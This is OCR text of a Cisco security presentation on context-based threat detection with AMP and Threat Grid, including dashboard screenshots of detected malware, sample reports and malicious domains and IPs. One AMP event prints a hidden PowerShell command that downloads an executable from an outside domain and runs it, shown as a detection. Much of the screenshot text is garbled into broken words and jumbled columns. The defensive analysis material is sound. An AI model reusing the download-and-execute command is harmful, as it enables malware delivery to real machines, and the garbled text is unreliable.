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The result of an analysis is
generating information

Bringing this information into
relationship is context

Context is needed to see the
unknown
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From Event to Context
Context

|

Context simplifies complexity

Provides a complete different view to your

insight threatlandscape Event

Context aware is not a product, it is more a
capability and approach

Context is Relationship Event
between Events

Event




From Event to Context

Event

Which point of view you need?

Sophisticated ,unknown“ in your Context
environment is only available when looking at

the context.

Events are a small piece/part of information
INside the context, but important.

Knowledge what and how content must be
correlated is the challenge

Correlation without False-Positves is hard



From Event to Context glraditional Approach

Challenges [Time window (ms) - one direction] Traditional Approach

All systems protected?

“something” comes up

. . 5
Cloudservice available” \ Responsetime < sec
When asking cloud? \
Dynamic Analysis - A\
What / When Dynamic Analysis
\

) ) Responsetime: Minutes

Proper endpoint config? L to Hours
Action (yes/no)

Monitoring normal actions? A\ WV

Result Event (yes/no) Result

Monitoring non threat events?

How Dynamic Analysis Results are handeled?



From Event to Context -aContinous Monitoring

[ Time window (from ms to weeks) ]

AMP Visibility Enhancement

and both directions Traditional Approach

Responsetime < sec

e Cloud Information

Dynamic Analysis
\/|S|b|||ty Responsetime: Minutes
to Hours
Era mewo rb

Result



From Event to Context - Intelligence

Retrospective
Event (I10C)
generated

Services and
Features not

Visibility isted..

Optional

Cisco .
Services

Hurnan
Partners Intelligence

3 Party

m e _

208 regeusts to 20k incidents per day o




From Event to Context - Retrospective
AMP Visibility Approach Traditional Approach

% == Stage1: Publish IOC Infornltion to AMP enabled devices

e Cloud Information

% Dynamic Analysis

Visibility



From Event to Context - Retrospective
AMP Visibility Approach

Stage1: Publish IOC Information to AMP enabled devices

Stage2: Look at the context

Identify a threat’s point of origin Track it’s rate of

ogression and how it spread

See where it’'s been?
See what it is doing? Examine target and remediate
Stage3: Answer Questions

What Happened? Where has the malware been?

Where did the malware ¢
from?

What is it doing?

How do we stop it?



From Event to Context - Summary

Event Based
Traditional Approach

“something” comes up

Action (yes/no)

A { F 4
Result Event (yes/no)

Context based
AMP Visibilty Approach




Q&A and Demo






Sec Ops Platform Reference Architecture View

Incident Response
Management
SIEM, Orchestration
Tools, Ticketing

Incident Response Threat Hunting
SIEM, Elastic Search, EDR. SIEM, Analytics, EDR. Forensics,
Forensics, Custom Tools, Orchestration
Sandboxes, Orchestration Tools Tools

SoC
Operation

Contextualized Intelligence Advanced Analytics

Global Feeds, Community ISAC, Local Threats and Data, Threat, Malware, IR, User & Entity
Vulnerability Behavior, Network, Risk

Data Management
SIEM, Elastic Search, Log Managers, Hadoop/Big Data

Common Services

Reputation Services, Intelligence Services, Analysis Services

Common Communication Platforms
pxGrid, Data Exchange Layer, OpenDXL, Kafka, Event Receivers

Endpoint Logs and Application Logs and Network Logs and Data and Identity
Sensors Sensors Sensors Access Logs/Sensors

SoC Engineering
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ant to enrich all events and alerts so that | can detect, prioritize,
correlate and respond to incidents by taking advantage of the
capabilities of my infrastructure, effectively reducing the time to
respond and remediate.

TECSEC-2169
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® < im} ® # console.amp.cisco.com v (4]
Dashboard

Dashboard  Inbox  Overview  Events  MeatMap 105 Clarky 4 Cognitive Incidents
E Filter: (New) © Select a Fiter

EventType  x Generk 10C + Group Al Growps

Filters  Aad fiters by chicking on the ¥ ico the evern details

Time Range  Week ~ Sort  Time v @ @ ot Setucred - Reset u
&) Demo  Line, | Meterpreter deiociec o Gameric 10C: Possidle Privilege Escalation Attempt Detected. By OF & e 20180517 1732
) Demo AMP_Threat Audit detecied s Generic 10C: W32 PoweliksPersistence.Joc B OF R cee 20180517 17,08
() Demo AMP_Threat Audit detected & Generic 10C: WIZrundiBZRunHTMLApplication boc By OF & cee 201840517 1708
() Demo_Cryptowall Jc-cc1ed - Generic 10C: Generic Botnet Communication or R 20180517 1701
[ Demo_Cryptowall detected » Generic 10C: W32 Io< Sr R 200180517 1700
i) Demo_Qakbot 1 detected a Generic 10C: W3ZQakbot boc kB Sy & 20180516 21:48
() Demo_Qakbot 3 detected o Gemeric 10C: W32Qakbot o B Sy R 20180516 21:09
() Demo_Qakbot 1 detecied o Gemeric 10C: W32Qakbot boc B Sy R 2189516 1927
() Demo_Command_Line Arguments_ Kovter detecied 3 Generic IOC: W29 Joc B oy R 20180516 17:47
&) Demo_Command Line Arguments Kovter coiecied o Ganeric 10C: WEZ WinWerd Powershell B Sy R 20180516 1747
(i) Demo AMP_Threat Quarantined deiocted » Generic 10C: WI2.WScrip ioc B Sy R 20180516 17,05
() Demo AMP_Threat Quarantined Je v e » Ganeric 10C: WI2.Bitsadmin boc B oy K . 20180516 1708
(] Demo AMP_Threat Quarantined Jcioied » Generic 10C: W32 WScriptiaunchedZipped)s joc B or R 20180516 17:05
() Demo_WanmaCry_Ransomware detecied o Gamerk 10C: WiL y 1< B SOy K 20180516 17.04
(1] Demo_ WanmaCry Ranseemware (o i« » Gamerk 10C; WXL BCOL@RDisableRecovery.loc Sy K 20180516 17,04
(1] Demo_Low_Prev_Retro deiected o Gamerk 10C: WIZFakebxtensionExec RET h oy R 20180516 17.03
@ DemoAMP detected o Genet Wit events 20 ~ [ page & 1 ot $ & taport 1o CSV 2184518 1A13



Demo_Command_Line_Arguments_Meterpreter detected a Generic IOC: Possible Privilege Esc... WV IV a} Generic 10C 2018-05-17 17:32:58 CEST

Demo_AMP_Threat_Audit detected a Generic I0C: W32.PoweliksPersistence.ioc k¥ v ‘:’, Generic I0C 2018-05-17 17:08:04 CEST

=) Demo_Command_Line_Arguments_Kovter detected a Generic I0C: W32.PowershellDownload... kv Qv a} Generic 10C 2018-05-16 17:47:17 CEST

File Detection
Description
Connector Info

Comments
Fingerprint (SHA-256)

File Name

File Path

Command Line Arguments

Parent Fingerprint (SHA-256)

Analyze

PowerShell is a Windows utility that allows access to many Microsoft APIs within a shell environment. In this case, a
script attempted to download a file or script to the local system and then execute it. Malware authors may use this
to download items, rename them, execute and delete them with a single command.

Y 81335022...856fa6fa € v
Y powershell.exe
/C:/Windows/SysWoW64/WindowsPowerShell/v1.0/powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -nop -ep bypass -c $f=
[System.10.Path]::GetTempFileName();(New-Object
System.Net.WebClient).DownloadFile('http://demitartgourmet.com/changelog/bindata.exe’, $f);(New-Object -com
WScript.Shell).Exec($f)

Y 9d52813a...654077ff € v

& View Upload Status [ Add to Whitelist = V File Trajectory
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A Few New ltems...
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e«  C ‘ @& Cisco Systems, Inc. [US]  https://panacea.threatgrid.com/dashboard i/?‘ =

.éllls.élc;. Threat G r|d I/Submit Sample Dashboard Samples Entities v Indicators Administration v G}) @ A Sansari Patel v

C"é Dashboard My Organization My Samples Last 24 Hours Last 7 Days Last 30 Days @ Auto Refresh
[ Detected Samples & Submissions & Convictions <5 Avg. Analysis Time S\ Unique Submitters [ Unique File Types
A2 581 39 5m 18s 27 16
T 50% previous 24 hours T 6% previous 24 hours 1 2% previous 24 hours 1 1% previous 24 hours Equal to previous 24 hours T 12% previous 24 hours

AMP Visibility reports that two samples submitted
Recent A within the last 24 hours targeted two endpoints in O® b
your environment. —

@ Investigate

J ) Malicious SHA256 58e0b5de20d...  targeted = h
naresh-yahar-lenovo-pc @ -] e o
auto_exect today at 10:42 AM CST (3 hours ago). a85ffe3f180894...bat  wincap_dropped.zip f330dadb9.exe 3.4.45-win7-x64-...exe freetibet bat [EA blank.docx 156/ auto_execute...zip
@ Investigate
Threat ¢ Malicious SHA256 ed01ebfbce... ® targeted eee Total Submissions by Status Last 24 Hours A A e
WHS2011S ¢
Avg. Thre, today at 2:16 AM CST (11 hours ago). 581 Submissions (24 Avg/Hour) I Complete | Whitelisted Il Pending M Not Supported Ml Failed
400 @ Investigate 39 39 40 39
350 36 a 27 u 36
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300 28
-
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200 20
160 17 15
150 Ll
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100 i 0 )
50 25 39 I Lo I
0 — I | M=0o
Low (0-49) Medium (50-74) High (75-94) Critical (95-100)
1400 15:00 16:00 17:00 18:00 1900 20:00 21,00 2200 2500 24:00 0100 0200 0300 0400 05:00 OEV0 07:00 0&00 08:00 10:00 11:00 1200
Total Convictions Last 24 Hours oo Submission Source by Threat Score Last 24 Hours oA N‘- eoe
39 Convictions (1.6 Avg/Hour) 581 Submissions (24 Avg/Hour) Wo-49 Ws50-74 M75-94 M95-100
" o S
9
7
5
3
2 A . WsA _I 7
1
o A o v Ml
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€ - C' @ CiscoSystems, Inc. [US] https:/panacea.threatgrid.com/samples/935218af8d3e8834e03b9c28ee4d4502 Tl =
"':II'_,."':IC;' Threat Gr|d I/Submi( Sample\I Dashboard ~ Samples  Entitiesv  Indicators ~ Administration v @ @ A Sansari Patel v
% Samples / sample Report: dde_doc.docx @_ Investigate 0 Public G Resubmit L Downloadsv  More v
< Samples » Visualizations eoe
I Metadata Metadata
Report
Indicators
Network @ 2 EA 48 q} 1 8 g 3 o ; . Process Timeline
HTTP Traffic Threat Score Internal Targets v Occurrences in Email v Malicious Judgements v Malicious Verdicts v
DNS Traffic Last 30 Days Last 30 Days By 4 Sources 2 Expire in 1 Month -} 1 Process Tree
TCP/IP Streams
Processes Sample ID 935218af...® File Name  dde_doc.docx %" Contacted IPs
. Submitted By msansari Magic Type PE32 executable (GUI) Intel, for MS Windows
Artifacts . —
os Windows 7 64-bit = Analyzed as docx u Runtime Video
Registry Activity Started 10/24/17 6:11 pm SHA-256  f7263dc3...® L
Created keys Ended 10/24/17 6:18 pm SHA-1 7320a9dc...®
Modified k Duration 0:06:46 MD5 S5bd4al0d...®
odined keys Playbook Conduct Active Window Change = Tags + locky X
Deleted keys
Deleted key values
File Activity Timeline My Environment ~ Global
First Seen: May 14, 2017 Last Seen: Jul 17, 2017 @ Internal Targets

6

R A A A A A

'
05/10/17 05/15/17 05/20/17 05/25/17 05/30/17 06/05/17 06/10/17 06/15/17 06/20/17 06/25/17 06/30/17 07/05/17 07/10/17 07/15/17 07/20/17

Behavioral Indicators

> Title Observables Hits  Scorel
> Potential TOR Connection @ Investigate 2 2
> A Document File Established Network Communications Q2 2 90

> Document Launched Utility Application Qo 1 90

> A Document File Established Network Communications QU1 3 90

> Office Document Uses DDE Q0 2 90

> Office Document Launches a Command Shell Qo 1 90

> Artifact Flagged by Antivirus Q6 8 64

> VBA Macro Has Action on Open Qo 4 59 °
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"':II'_,."':IC;' Threat G r|d I/Submi( Sample\I Dashboard ~ Samples  Entities v Indicators  Administration v @ Q) A Sansari Patel v
% Samples / Sample Report: dde_doc.docx @_Investigate 0 Public C Resubmit L Downloads v More v
< Samples » Visualizations ooe
I Metadata Metadata
Report
Indicators
Network @ 2 EA 48 q} 1 8 g 3 o ; Process Timeline
HTTP Traffic Threat Score Internal Targets v Occurrences in Email v Malicious Judgements v Malicious Verdicts v
DNS Traffic Last 30 Days Last 30 Days By 4 Sources 2 Expire in 1 Month e Process Tree
AMP Visibility reports that this sample targeted
TCP/IP Streams A two endpoints in your environment.
Processes Sample ID ‘Name  dde_doc.docx “ " Contacted IPs
Artifacts Submitted By gic Type PE32 executable (GUI) Intel, for MS Windows
os Hostname: ng-raycert-PC alyzed as docx u Runtime Vid
Registry Activity Started 0s: Windows Server 2008 A-256  f7263dc3../e v (-I.»‘ gl RUNtMe Viceo
Created keys Endeq P Addres_s: 192.168.1.11 a-1 7320a9dc.. Maliclous SHA-256
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4 Playbook = Is + locky | 02edf881bf90efS5b234d42c5e7224595
Deleted keys Hostname: WHS2011S S -~
os: Windows Server 2008 R2 @ Investigate in AMP Visibility
Deleted key values IPe\Address: 10.99.80.74 U View in Cisco Umbrella
i ivi - . Investigate
File Activity Timeline [‘ 4 Open in New Window
First Seen: May 14, 2017 Last Seen: Jul 17, 2017 [E& Copy to Clipboard

6

R A A A A A
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05/10/17 05/15/17 05/20/17 05/25/17 05/30/17 06/05/17 06/10/17 06/15/17 06/20/17 06/25/17 06/30/17 07/05/17 07/10/17 07/15/17 07/20/17

Behavioral Indicators

> Title Observables Hits  Scorel

> Potential TOR Connection @ Investigate 2 2

v A Document File Established Network Communications Q2 2 “
The submitted document was seen establishing outbound network communications. This activity Category: Network
could simply be embedded code that is reaching out to the vendor to check if it is running the Tags: Dropper

latest version. However, it is more likely that this activity is malicious in nature. More...

Type Network Stream Last SeenIP Port Transport Protocol Domain
docx  Stream 6 94.23.174.100 (10/5/17) ® 137  UDP DNS estari.tk ® @ Investigate
docx  Stream 7 149.56.130.113 (11/2/17)® 53 UDP DNS paytoplay.rue & Investigate
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> C | @ Cisco Systems, Inc. [US]  https:/panacea threatgrid.com/samples/935218af8d3e8834e03b9c28ee4d4502 5,"\( =
] : e - N . . . . NN .
cisco Threat Gr|d ( Submit Sample ) Dashboard  Samples  Entities v Indicators  Administration v @ '\’) A Sansari Patel v

@ Samples / Sample Report: dde_doc.docx

< Samples
I Metadata
Indicators
Network
HTTP Traffic
DNS Traffic
TCP/IP Streams
Processes
Artifacts
Registry Activity
Created keys
Modified keys
Deleted keys
Deleted key values

File Activity

Metadata

N =2

Threat Score Internal Targets v
Last 30 Days

Sample ID 935218af...@
Submitted By msansari

os Windows 7 64-bit =
Started 10/24/17 6:11 pm
Ended 10/24/17 6:18 pm
Duration 0:06:46

Playbook Conduct Active Window Ch;

@_Investigate 0 Public G Resubmit ¥ Downloadsv  More v
» Visualizations .ee

Report

5248 18 &3

Process Timeline

Occurrences in Email v/ Malicious Judgements v Malicious Verdicts v
Last 30 Days By 4 Sources 2 Expire in 1 Month . Process Tree
Cisco’s Email Analysis repository has seen this .
file delivered in email within the last 30 days.
" 2
[ View Report ) Contacted IPs
GUI) Intel, for MS Windows

&) Report summary u Runtime Video

Occurrences: 48 EE

Classification: Exploit, Virus

No. of Senders: 6

Scope:

This file was seen by 17 email customers,
and has 3 classification ratings over the

. ) last 30 days.
Timeline My Environment ~ Global
First Seen: May 14, 2017 Last Seen: Jul 17, 2017 June 25, 2017 ® Internal Targets
6 2 Internal Targets, 4 Sightings
4
2
0 £ A A

d
05/10/17 05/15/17 05/20/17 05/25/17 05/30/17 06/05/17 06/10/17 06/15/17 08/20/17 06/25/17 08/30/17 07/05/17 07/10/17 07/15/17 07/20/17

Behavioral Indicators

> Title

> Potential TOR Connection

v A Document File Established Network Communications Q2

The submitted document was seen establishing outbound network communications. This activity

Observables Hits  Scorel

2 'IOO
» Lo |

Category: Network

@ Investigate 2

could simply be embedded code that is reaching out to the vendor to check if it is running the Tags: Dropper
latest version. However, it is more likely that this activity is malicious in nature. More...

Type Network Stream Last SeenIP Port Transport Protocol Domain
docx  Stream 6 94.23.174.100 (10/5/17) ® 137  UDP DNS estari.tk ® @ Investigate
docx  Stream 7 149.56.130.113 (11/2/17)® 53 UDP DNS paytoplay.rue & Investigate
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Threat Grid  (submit sample

Dashboard Samples

@ Samples Sample Report: dde_doc.docx

< Samples
I Metadata
Indicators
Network
HTTP Traffic
DNS Traffic
TCP/IP Streams
Processes
Artifacts
Registry Activity
Created keys
Modified keys
Deleted keys
Deleted key values

File Activity

+ oo

Incidents

v High Priority

10/28 Phishing Incident
This SHA-256 was emailed...

lukitus-22sep2017

Hostname WHS2011S dow...

d3coder-49.0.2623

Chrome extension exploit fr
> October 2017
> September 2017

Metadata

Threat Score
Last 30 Days

Sample ID 935218af...@

Submitted By msansari

os Windows 7 64-bit =

Started 10/24/17 6:11 pm

Ended 10/24/17 6:18 pm

Duration 0:06:46

Playbook Conduct Active Window Change =

Timeline My Environment ~ Global

First Seen: May 14, 2017 Last Seen: Jul 17, 2017
6
4
2
0 S A

05/10/17 05/15/17 05/20/17 05/25/17 05/30/17 06/05/17 06/10/17 06/15/17 08/20/17 06/25/17 08/3

10/28 Phishing Incident
Notes
This SHA-256 was emailed to a few employees in finance

(nagesh rcbrook es) on 10/28. The attack uses a
Flash object embedded in this docx file. Said file is

attached to an email with the subject line “2017 CVA
Audit”. The email was successfully filtered and landed in
the users’ junk mail folder. The targets are not high-profile
or high-value. We’re trying to determine how the attacker
gained knowledge of last month’s CVA audit which is not

public knowledge

Entities v

8 18 &3

Occurrences in Email v
Last 30 Days

Vet

https://panacea.threatgrid.com/samples/935218af8d3e8834e03b9c28ee4d450:

Indicators  Administration v A Sansari Patel v

@_Investigate O

Public C Resubmit 1 Downloads v More v

» Visualizations

Report

Process Timeline

Malicious Verdicts v
2 Expire in 1 Month

Malicious Judgements v

By 4 Sources
: Process Tree

File Name dde_doc.docx

Magic Type PE32 executable (GUY

Analyzed as docx

SHA-256  7263dc3../e v &

SHA-1 7320a9dC. 12 jicious SHA-256

MD5 5bd4a10d.| 7263dc3b9525699b1a3fec3f328c681

Tags + locky | 02edf881bf90efS5b234d42c5e7224595
@_ Investigate in AMP Visibility

U View in Cisco Umbrella

~ ¥ Contacted IPs
tel, for MS Windows

Runtime Video

[@] Create New Incident
[@% Add to Existing Incident

% Open in New Window
[ Copy to Clipboard

x

I
)

Investigate in AMP Visibility

Drop Board *+ Drop below to...
Drops

4 1.1.168.192.in-addr.arpa ® Dropped 02/05/17 10:43 AM

|

58e0b5de20d3f3049535717815¢37...®

Dropped 02/05/17 10:22 AM

185.100.85.150 @

Dropped 0

05/17 9:57 AM
View in Cisco Umbrella

Add to Selected Incident

Create New Incident



Domain Entity
Page:

Domain page as user
first views
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C' @& Cisco Systems, Inc. [US]  https://panacea threatgrid.com/entities/domains/rinrecised.com 5 =

el Threat Grid

-
/SubmitSampIe> Dashboard ~ Samples Entities v Indicators Administration v

@ (\/) A Sansari Patel v

'3;‘{‘ Entities / bomains / rinrecised.com @ Investigate |9 AddFlag <) AddTag More v
< Domains » Visualizations soe
| Metrics Metrics
Report
Details
. D 0,
Relations g 1 3 @ 7 Q 7 83 © 28 o O::)zo Related IPs
Sightings Internal IP Connection v Associated v Convicted Related v DNS Queries v Sightings v ©
Last 30 Days Block Lists Samples Last 30 Days By 3 Sources o
Related IPs ©  Related Samples
Related Samples
Related Domains Details
Child Domains Domain Name rinrecised.com ® Threat Grid Cisco Umbrella
Associated URLs SHA-256 340d397b...® First Seen Aug 9, 2017 in f02¢6022...®  First Seen Feb 5, 2016
Co-oceurrences MD5 080d6f3f... Last Seen Nov 3, 2017 in FlashUti...® Last Seen Oct 26, 2017
Flags + Times Seen 58 (34 samples) Status Malicious @
WHOIS Details Tags + ity C y C2 Callbacks @
Basic Content Category Parked Domains @
History
Raw

Relations View in AMP Visibility

& rinrecised.com =z
Vordi o -
erdicts Judgements  Sightings 185.100.85.150

Malicious AMP Global Intel

Malicious Cisco Umbrella % @ Fb

Malicious Talos Intelligence 192.36.27.5 rinrecised.com 178.170.244.181
Malicious Virus Total

-
52.224.18.184 http://rin...forum.php

Timeline My Environment  Global Last 30 Days ~  se*
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D | | | | n E ntlty '::ll';élol' Threat Gr|d /Submit Sample\ Dashboard ~ Samples  Entities v Indicators  Administration v ® (D A Sansari Patel v
.

| a g e '3;‘{‘ Entities / bomains / rinrecised.com @ Investigate |9 AddFlag <) AddTag More v
.

< Domains » Visualizations ooe
| Metrics Metrics R
. Details epert
Internal IP Connection Ca 1 3 B7 @783 ©28 | neen
Sightings Internal IP Connection v Associated v Convicted Related v DNS Queries v Sightings v °©
m e n U Related IPs Last 30 Days Block Lists Samples Last 30 Days By 3 Sources 02 Related Samples

AMP Visibility reports that this domain
connected to an IP address in your environment
Related Domains | 2 days ago on Nov 4, 2017 at 8:56 PM CST.

P | VOt m e n U eX pa n d ed Child Domains | id Cisco Umbrella

Related Samples

Associated URLs ¢ B Hostname: hp-9600466e8e10 1 Aug 9, 2017 in f02e6022..|® v 4-1-»}1 Seen Feb 5, 2016
os: Windows XP, SP 3.0 i i
Co-occurrences I Internal IP:  10.71.10.156 | Novs, 2017 in FlashUt A Malicious SHA-256
WHOIS Detail | External IP: 103.228.57.74 2n 58 (34 samples) f02e6022b9525699b1a3fec3f328¢681
etails AMP-GUID: b24e1d1b-5169-426-a310-4... 02edf881bf90ef5b234d42c567224595
Basic O View Endpoint @ Investigate in AMP Visibility po
History U View in Cisco Umbrella
Raw Relations View in AMP Visibility [ Open in New Window
@& rinrecised.com & Copy to Clipboard
) - =
Verdicts Judgements  Sightings 185.100.85.150
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